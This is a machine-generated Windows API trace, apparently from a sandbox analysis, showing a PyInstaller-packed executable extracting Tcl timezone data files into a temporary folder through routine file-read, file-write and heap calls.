FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.337] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.337] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.337] CloseHandle (hObject=0x10c) returned 1 [0038.337] GetLastError () returned 0x0 [0038.337] SetLastError (dwErrCode=0x0) [0038.337] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Sao_Tome") returned 72 [0038.337] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Sao_Tome" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\sao_tome"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.337] GetLastError () returned 0x2 [0038.337] SetLastError (dwErrCode=0x2) [0038.337] GetLastError () returned 0x2 [0038.337] SetLastError (dwErrCode=0x2) [0038.337] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Sao_Tome", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Sao_Tome", lpFilePart=0x0) returned 0x47 [0038.337] GetLastError () returned 0x2 [0038.338] SetLastError (dwErrCode=0x2) [0038.338] GetLastError () returned 0x2 [0038.338] SetLastError (dwErrCode=0x2) [0038.338] GetLastError () returned 0x2 [0038.338] SetLastError (dwErrCode=0x2) [0038.338] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Sao_Tome") returned 72 [0038.338] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.338] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Sao_Tome" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\sao_tome"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.338] GetFileType (hFile=0x10c) returned 0x1 [0038.338] htonl (hostlong=0xac000000) returned 0xac [0038.338] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.338] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xac, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xac, lpOverlapped=0x0) returned 1 [0038.339] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.339] CloseHandle (hObject=0x10c) returned 1 [0038.340] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.340] htonl (hostlong=0x30000000) returned 0x30 [0038.340] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.340] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.340] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.340] GetFileType (hFile=0x10c) returned 0x1 [0038.340] htonl (hostlong=0xbe605800) returned 0x5860be [0038.340] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d10be, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.340] htonl (hostlong=0x8a000000) returned 0x8a [0038.340] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0038.340] htonl (hostlong=0x8a000000) returned 0x8a [0038.340] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.340] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.340] htonl (hostlong=0xb2000000) returned 0xb2 [0038.340] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb2) returned 0x550600 [0038.340] htonl (hostlong=0x8a000000) returned 0x8a [0038.340] htonl (hostlong=0xb2000000) returned 0xb2 [0038.340] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.341] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.341] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.341] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.341] CloseHandle (hObject=0x10c) returned 1 [0038.341] GetLastError () returned 0x0 [0038.341] SetLastError (dwErrCode=0x0) [0038.341] GetLastError () returned 0x0 [0038.341] SetLastError (dwErrCode=0x0) [0038.341] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.341] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.341] GetFileType (hFile=0x10c) returned 0x1 [0038.341] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.341] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.341] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.341] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.341] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.341] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.341] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.341] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.341] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.341] CloseHandle (hObject=0x10c) returned 1 [0038.341] GetLastError () returned 0x0 [0038.341] SetLastError (dwErrCode=0x0) [0038.341] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.342] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.342] GetFileType (hFile=0x10c) returned 0x1 [0038.342] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.342] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.342] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.342] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.342] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.342] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.342] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.342] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.342] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.342] CloseHandle (hObject=0x10c) returned 1 [0038.342] GetLastError () returned 0x0 [0038.342] SetLastError (dwErrCode=0x0) [0038.342] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.342] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.342] GetFileType (hFile=0x10c) returned 0x1 [0038.342] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.342] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.342] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.342] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.342] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.342] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.343] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.343] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.343] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.343] CloseHandle (hObject=0x10c) returned 1 [0038.343] GetLastError () returned 0x0 [0038.343] SetLastError (dwErrCode=0x0) [0038.343] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Timbuktu") returned 72 [0038.343] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Timbuktu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\timbuktu"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.343] GetLastError () returned 0x2 [0038.343] SetLastError (dwErrCode=0x2) [0038.343] GetLastError () returned 0x2 [0038.343] SetLastError (dwErrCode=0x2) [0038.343] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Timbuktu", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Timbuktu", lpFilePart=0x0) returned 0x47 [0038.343] GetLastError () returned 0x2 [0038.343] SetLastError (dwErrCode=0x2) [0038.343] GetLastError () returned 0x2 [0038.343] SetLastError (dwErrCode=0x2) [0038.343] GetLastError () returned 0x2 [0038.343] SetLastError (dwErrCode=0x2) [0038.343] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Timbuktu") returned 72 [0038.343] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.343] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Timbuktu" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\timbuktu"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.348] GetFileType (hFile=0x10c) returned 0x1 [0038.348] htonl (hostlong=0xb2000000) returned 0xb2 [0038.348] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.348] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xb2, lpOverlapped=0x0) returned 1 [0038.349] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.349] CloseHandle (hObject=0x10c) returned 1 [0038.350] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.350] htonl (hostlong=0x30000000) returned 0x30 [0038.350] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.350] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.350] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.350] GetFileType (hFile=0x10c) returned 0x1 [0038.350] htonl (hostlong=0x48615800) returned 0x586148 [0038.351] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d1148, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.351] htonl (hostlong=0xe5040000) returned 0x4e5 [0038.351] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4e5) returned 0x550600 [0038.351] htonl (hostlong=0xe5040000) returned 0x4e5 [0038.351] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.351] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.351] htonl (hostlong=0xbe160000) returned 0x16be [0038.351] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x16be) returned 0x560088 [0038.351] htonl (hostlong=0xe5040000) returned 0x4e5 [0038.351] htonl (hostlong=0xbe160000) returned 0x16be [0038.351] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561750 [0038.351] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561750 | out: hHeap=0x530000) returned 1 [0038.351] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.351] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.351] CloseHandle (hObject=0x10c) returned 1 [0038.351] GetLastError () returned 0x0 [0038.351] SetLastError (dwErrCode=0x0) [0038.351] GetLastError () returned 0x0 [0038.351] SetLastError (dwErrCode=0x0) [0038.351] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.351] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.351] GetFileType (hFile=0x10c) returned 0x1 [0038.352] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.352] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.352] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.352] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.352] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.352] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.352] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.352] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.352] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.352] CloseHandle (hObject=0x10c) returned 1 [0038.352] GetLastError () returned 0x0 [0038.352] SetLastError (dwErrCode=0x0) [0038.352] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.352] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.352] GetFileType (hFile=0x10c) returned 0x1 [0038.352] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.352] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.352] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.352] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.352] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.352] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.352] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.352] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.353] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.353] CloseHandle (hObject=0x10c) returned 1 [0038.353] GetLastError () returned 0x0 [0038.353] SetLastError (dwErrCode=0x0) [0038.353] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa") returned 63 [0038.353] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.353] GetFileType (hFile=0x10c) returned 0x1 [0038.353] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.353] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.353] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.353] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.353] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.353] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.353] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.353] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.353] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.353] CloseHandle (hObject=0x10c) returned 1 [0038.353] GetLastError () returned 0x0 [0038.353] SetLastError (dwErrCode=0x0) [0038.353] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Tripoli") returned 71 [0038.353] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Africa\\Tripoli" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\africa\\tripoli"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.353] GetLastError () returned 0x2 [0038.353] 